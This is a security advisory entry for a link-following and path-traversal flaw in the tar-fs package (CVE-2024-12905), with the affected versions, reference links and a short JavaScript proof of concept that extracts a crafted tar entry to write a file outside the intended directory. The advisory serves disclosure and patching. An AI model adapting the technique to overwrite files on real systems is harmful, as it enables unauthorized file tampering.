tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package. This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7. ### PoC ```javascript // Create a writable stream to extract the tar content const extractStream = tarfs.extract('/', { // We can ignore the file type checks to allow the extraction of the malicious file ignore: (name) => false, }); // Create a tar stream const tarStream = tarfs.pack().on('error', (err) => { throw err; }); // Append the malicious entry to the tar stream tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!')); // Finalize the tar stream tarStream.finalize(); // Pipe the tar stream into the extract stream tarStream.pipe(extractStream); ```
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2024-12905US | — | Exploit | ||
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when… | ||||
references
External citations — patches, advisories, analysis.
- https://arxiv.org/abs/2506.04962WEB
- https://arxiv.org/pdf/2506.04962WEB
- https://github.com/mafintosh/tar-fsPACKAGE
- https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2edWEB
- https://lists.debian.org/debian-lts-announce/2025/06/msg00012.htmlWEB
- https://nvd.nist.gov/vuln/detail/CVE-2024-12905ADVISORY
- https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fsWEB
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